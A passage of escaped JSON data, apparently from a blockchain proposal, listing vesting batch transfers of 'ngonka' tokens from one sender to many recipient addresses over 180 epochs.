\"recipient\": \"gonka17lw5msaae6hupgylapqcqmggcyyzhvdgy406s4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"425243818848\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1a9yz979xxryjh9hdzuyxddscwtg9g92079hjra\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"425076183432\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19nsaq8gdavl04mx0v6lhvzzdkqhu6uf56l38w0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"424272905394\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1063hmy29tgwh5zpup7m9qat7nvgrnyyyuudjaa\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"423526894395\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cs744mzemn5h8p2e7c0zkc67sgdd5p8es3qe9v\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"419663870856\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cu4et2vt7squt6jslmn7jc6sr3kr9dwx8807er\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"416726958772\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1k8emnxc8ex8qa47h9l5y0dxprxen0hhqlnexwy\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"415098212687\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hz02vsjwrjnfu65knc8xnwh4xawt02nzaltctt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"414514027990\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1w2dtrs7thx2jfeu389ztwc38h0nd4pv2hl7xtp\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"413803912716\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1d7fl3tfcjj52uavnfsalmydtdn3uvqvs2wph58\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"413793735098\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15vwfhvvya0xhf8cfxxgsqwkjmv8ay2hhzdd0yl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"411140962032\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nxp4edhgytlmczmmwvzgu6humsuwpf8t8yvd40\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"404230785405\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gku2agvxyl9yvq6j0ulu8thm8n2mmg32dxvm8k\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"400668604165\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18xpmr5v362gwvxlq78twhg7ht07wu4kzdqu4y2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"399555085227\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1k9wr42jrdudvxsrdrgnxqaxcchrwy2ss84ha7t\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"397336261711\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wnhd4uqvf3k38av7m9s3ssdzu0kvqskmes69gu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"389942484029\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19z0dg9zpfkdfye0ddrnkcynrwvqslw4a2alzf0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"388059563885\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fhcxxfnk0ap7u5hjyvgvd0500lpq8qre59hwza\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"387606471004\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1uwknfekug2ykhygjpfy5n7uc8l6naxz267dgsw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"381373301630\"\n }\n ]\n },\n {\n \"recipient\": \"gonka107et3r7gxsrkce7wq42jjf5k98r5xvsfy6xsn5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"380030638392\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16dqp2jfmnaahwxq5x7snn2h2ap026v5lwhr5m7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"378999867692\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1c7wr8u3j78dfd2jmymzq3c3a2gzx75g2s682dl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"378149101711\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15e0y6kxleal3l4vr9vucwv72vu8cfndjtljl6y\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"375476917342\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lmcyrg9fh0lj7spq2ra4kduttf86ede5xlrmay\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"372770462475\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1w29nvdy6caqtrw30whz9h6ghl0xszwh3egndah\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"372546833803\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1n8sczgy8379gqx0z4xuwrv7g50tcml6r9whkxa\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"370848240747\"\n }\n ]\n },\n {\n \"recipient\": \"gonka165eh4p7rkucdv3p0pd92l67rm8fw8apq0p2c9e\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"365333781875\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1f7uwyhetekfar5h5q7vtatne28futuffypde4j\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"364832113795\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16a89kpc76p0m26zv4rck5sm9kc7yl5d59ztjpr\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"361064732604\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10p49jx70haq9uhjy94y80zkfv3xk5pafk5wc5q\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"353283309527\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lmgutdlel0fny79zvlsh9aw3c0dw75gtscka3g\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"353061160395\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gsnlch7sav73dxearvt7ylh3qcq3fdurad72za\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"351121509816\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17njwpngllwv7hlgsdx2h7n0yxjjsqgth2lsy72\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"351084936780\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mmlyd5xxu5l68yx8wzclrkxkxvm88mhq5tp5s0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"348627504128\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hzqehs8eq609tmmwhhj239acd4t04ev97277q3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"345108557136\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1yt2s5u5k06rm2au8dsqm4kzwmw7klqsrd6xd95\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"344628037407\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qlt90c4hxccgnuc478jaa3xl5klga84xzrvpda\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"344336495222\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nhsw6z4z4vevzzyrdkq2fxfgn8dypuudjvangc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"340275511499\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13w7j5pmzg0an9gutm40eflfkl74zsja9jqqvcs\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"335905698946\"\n }\n ]\n },\n {\n \"recipient\": \"gonka125xgn4z89quhrjhv6qfgn83wqwlaykxs8upjrt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"331972513490\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1q96dv6st48490vtzx2pwuwkjg439dr4hg6dzjn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"330848630051\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qkwzxe3hwrghhmgek5kvnyhyaw9akkc8mfwsaa\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"327938028015\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pa6xam0gh4hccrsunf9nmervcqt3pe5z9l3xrl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"322218386967\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18c9r7maxex83kfdm8zpvquleqam8aqm2klkag5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"321451865905\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19yvj22q22w5nr8uxtlj6e5wu30cqn3sexmcdcs\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"320461635235\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kyft3snetrh9fnetvwrzt4fr5dwm5szl9sx9hq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"319963060625\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xfg6ed596n8ka7tjp7j604prf5n4mgv3h9d02t\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"319780202816\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17ypfh585hv7g2vyrmdqqpy2czssa7h0pmndyul\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"316536534268\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1au9qsemsqtng83kf3nfac38gqe0c0f9qslw750\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"305617072534\"\n }\n ]\n },\n {\n \"recipient\": \"gonka107yrh33u84sund37fkkpslen5untjl7vw3pd9e\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"304553256378\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19teuc4q23h48m2ser9aqll9nactthfkcs9meke\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"303905885385\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fy86zl25jft206rx0j63km5ru2cn3e7t80zzu8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"300459975051\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gdrrsudtxaldp2jrtn2v6qzpd8zr2u544pz3u5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"295893581436\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ceuk4gvskjw9deuvequ0hd6ty2u7h4jsg5a8uj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"295213275244\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1g58w4wu7yyla55vfmhm96v9jheyetnxr02jzz7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"295111850857\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10ay2yczzqfpels9ez3m6q7mwuje2tqkwjym8wc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"293127877431\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1dg7tym5xfd6rt0mnujqcgsdjtdarhtz6pnrvse\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"291849556888\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10qf25fwar63g6zkvn2nm6pj65va2yz2esl3yd4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"285924438943\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1uv8lw89ththtj05c54wehfnqls9u2pza53q33z\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"285901741010\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jpxayv4ef6c5z4wn9mxqsla0zkcwu5tq2536sw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"285899745563\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pj07u20jn9cx48r0jwen6evz7mrfj75t3argv4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"285330045368\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12fz88uq255gr4l34fedtd240qu9ajhppettvx2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"282968038250\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19xy6zmvpu9x4cyhnuryd3c8c4q8t9v5guj3hzl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"279949746921\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13r0fwd8flq4psphqkda8u5f5pxu79wcx3s3zmu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"278793671891\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tan3ssg0sz6kzseze5ezvnynhtyf2rfn6pczjv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"278205980463\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gyk0aahvr3qeju4zx0nplfreej6cy4jjk8svc5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"277853300380\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15zc68q2924r90hdwmcdgw0pfwvlsnltn6nht9a\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"277420674432\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1crlh7547ndxs8kl0urejhlttns7fy4ft344zy5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"276941913821\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19kd8xatmw86wyz6v5qmc9kqwfnk62cydql7da5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"270590570224\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lajfpxh74xse4xxease0trz5gwecze99875tjf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"268236872042\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xx297g3m4um7g6eayn03cwdmu8feal93sqv4wh\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"268107287831\"\n }\n ]\n }\n ],\n \"vesting_epochs\": \"180\"\n },\n {\n \"@type\": \"/inference.streamvesting.MsgBatchTransferWithVesting\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"outputs\": [\n {\n \"recipient\": \"gonka1m2wtkjw80ukazgyngp8eykjukr9jx5rumdsmyr\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"267346122911\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wcdrfhud0ey55mq7r83r9jm9n99qauzpm2egp6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"266334120077\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gfltwk9nphmfgn9d77c97p3xzqt4yr0a20md6m\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"266302403647\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qvpct2fqwpfqhznwjqs498ggp7wyxjkd4mvxhz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"266127303219\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1l46sylzza3jymv5mhf7aa7v2ncgq5zadd4ye4k\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"264732746305\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1eheatjgzlu9pulsh7ggsx9gan4sy20ay5ytmvn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"264208241317\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vlk3ck2mkdeehrvr523aq5fz4dmqazyeppy08r\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"264161735479\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ewlwawmd4z42daay08hspv45nmzlvffw0ums94\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"263088357407\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1uvfshcyxnasdt5grn9we9qzl90ryujfkpcarjf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"262854578382\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18ee58ff309k3fv2dn9f8zfa9q94huk4ue9y7t4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"261363469059\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lnvyznywq8u2kda780e6h82t6r9nmsuj4j4dp5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"261153730494\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13a4v8gxxjav5t4xq5y9cv9d8rfnvkjfw5adqz3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"259477811528\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pf4z32nqz5ax7zsxsmf4tan8wsnp957y9t4qtt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"258408978669\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1myfzqktyp8lrdwpymqw5cfyjsr0msa6a3y9c2n\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"256716919639\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12p7vdr8am7w6yakudrk7l2nqcnka8xqrruejty\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"256536328020\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1uk73fw4tnfv9rfdeekxycvt0v8cncr64syejra\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"256395083588\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14m522cfm77emja0fnd0y0p9ls74q8kfpxvemsq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"254971732952\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10y0j44g5zae0kep8xmgv8upl7p6dcurnl72m5n\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"250313363132\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1p57jas3hm3gmdvh64z92ycr28z968j0fn6n6jd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"249620064759\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1l2pah3qf2jgdw50lzm6hpt352fsccthmrz57ms\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"249348523620\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pts20pjtryksdxp9lvydk9vvs8mmd9ruzqgu4z\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"248032627366\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1a333gjgcsen6wkg0m5j7vnyw3paz8e598pfsev\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"247131413356\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fpkw6p595r2npvtx6l02tmtggwlkz0s7ns7xev\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"246941799835\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1p2fj0vx4kpx3tdm7u853v9q67n9frrcmttxrqy\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"246560012735\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14xc7cn3n2zvnw3a5zh3p0827hw9hruqfze62e8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"246508658850\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ldzl4gaalctyfwupak25avzvu0s29zjvayne49\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"243351881717\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1m2s8r88lj40thm3zkd0fc92sqk6wswhx8a2xyh\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"240542872784\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1p92n7yphf8eqcygcwkpvgggt7d9ql69mchllcr\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"240217006117\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jpg0ct9h272lefy99w4sgd2ul9ukvzwhfanvn0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"240216332176\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1adz6e58nz8k79fsg3hxq2sg6thym2l073hyyh9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"239700513689\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16tru27h865g77cfhsyfpepcjlqlgavl4dc0a0t\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"239693182441\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lnynt0wfxhn049m7mjg7kpxcklspwz6ngw0rsv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"239434096502\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kyrhxw6frcjk4hh8rdeswxftwxuxwgphxnk8kk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"238833085068\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mhhq8ky8czhny7wk3sk9uquwn43twd4emksh3e\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"237989906345\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13nftxrmqx9hum0ajmweyqqpclkgge6wgp33ms3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"236763437310\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1q6v5taltnxxzjrgpheu5t7pfjwmsu6x8gs24sw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"235788952207\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13z9nw50phzh9sesempfam6prrgzz9c43n7hl0f\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"234860999377\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rvuym8r7kmage5jw8jnzxyephcvelkaerzqumx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"234562856172\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10k27r58herdqs3m4c6vyjlc2jsxnpjy2x73zgc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"234423646081\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1sptzpk2tlxv958s22nu0juamt09hkcrhrrhx5l\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"233442651437\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13l0e92dedmwm0a2zcxnctvqlcl2tw7hhkdmsnx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"232321910249\"\n }\n ]\n },\n {\n \"recipient\": \"gonka138xt5y8kyzg6lcjva8vqyz9av9shhyz6e6nv39\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"231917217521\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1663gc0f8f6fdylzk9m9akxjjfvj8f9n94nhvnu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"231917217521\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ad56r73l5z92x9f3qe7e52q0jckmg9ytmghp87\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"227878307385\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tl5m3vuqsx333v7095ymwjdc4vdk2wd9r5hqws\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"224016160981\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1as0kls7e88q6ull9t2gyhe5zk9utzaezwml9kt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"223384429920\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pu7h5ntzt94ptwr5y5nctfjvpfd0hclqspcryl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"223117695596\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1p7ze99aywsyudnn38wrxjsgzhmcu64swe9zmua\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"220252368742\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1j3m7rwdjrf44xy8p7ff4w3srqxaml0f73x09ud\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"218704613298\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mqf4hr9a68zf78gcjkxmkz6nkzp76d0nqea9sv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"218463578010\"\n }\n ]\n },\n {\n \"recipient\": \"gonka192gv4k5kh88g5s9xll8k7w065lz0rjwh7zj55v\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"217527398702\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gd79gdm2s35rc4mhssgwrqh2lnmaff0wq4mwq6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"214679298921\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tl6wzyuvf8t32ny8deqdz4kufle6fq0k72cy8j\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"212901999312\"\n }\n ]\n },\n {\n \"recipient\": \"gonka166wgzjsx5hm4cxc58uc42watkgcppgv80yts48\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"212573545475\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14jxtac6gra9cc97q7gw6el2l7f2v2d32f8973x\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"212467763300\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17fcahf38xh8ghzyyrc55tarz9nd0vw6xd29nsk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"212248188434\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14p0njxtlnx2c8zn570nvvaf730gnnkwvetlwj8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"211609774624\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zv89w02sdfzwy74s9vcthk38dnfsw36s4h7s93\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"210396399071\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1a6jjdd2ufn7x5qpp56627pk40sneqwyl989444\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"209535834916\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14flzeq3mc2qh4h8senj5glhrtsknln6ugkhm3x\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"209188155802\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lrn7dux37jx6f9nqnh8mfrx2d0p4npw8xnjpxn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"208871586849\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1399mlkshf3drn67zqm7vsc6na9a96t55jrhjeu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"208341539624\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rqfj7selleh544mstj7quwmqned0wm2trpe9wu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"206171996533\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1su7xfxq7a6dalv38gujj5tz5urkmw0044vush0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"204906813326\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mecj5za64q5cnuu3vaey88g7kn996h2lv8aylu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"204341940016\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1umjryvc7nyl6w44u8mrrqwffv3mnk0xftx74er\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"204112867833\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qyw37eedekdrhu9937k2ewvh5ql99qlmsv3nj4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"203997831326\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lzp3eyygk2zttc52r6jnfugdr76eq3mnqyl8hp\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"202116870034\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pnfyj6kw3h3v2qu60j42j8h3cuf3jpqqgnaet7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"201720882778\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ukxf7quyy8qsz3gy2crtlzh5qfptd2awzs3a4k\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": 